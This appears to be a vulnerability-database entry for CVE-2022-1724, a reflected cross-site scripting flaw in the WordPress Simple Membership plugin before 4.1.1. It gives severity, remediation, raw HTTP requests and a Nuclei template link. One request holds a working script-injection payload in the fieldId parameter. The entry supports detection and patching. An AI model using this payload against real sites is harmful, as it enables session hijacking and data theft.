| Title | WordPress Simple Membership <4.1.1 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05224 |
| CVE ID | CVE-2022-1724 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss wp wordpress wpscan wp-plugin simple-membership-plugin vuln |
WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1724.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1724.pcap
N/AN/A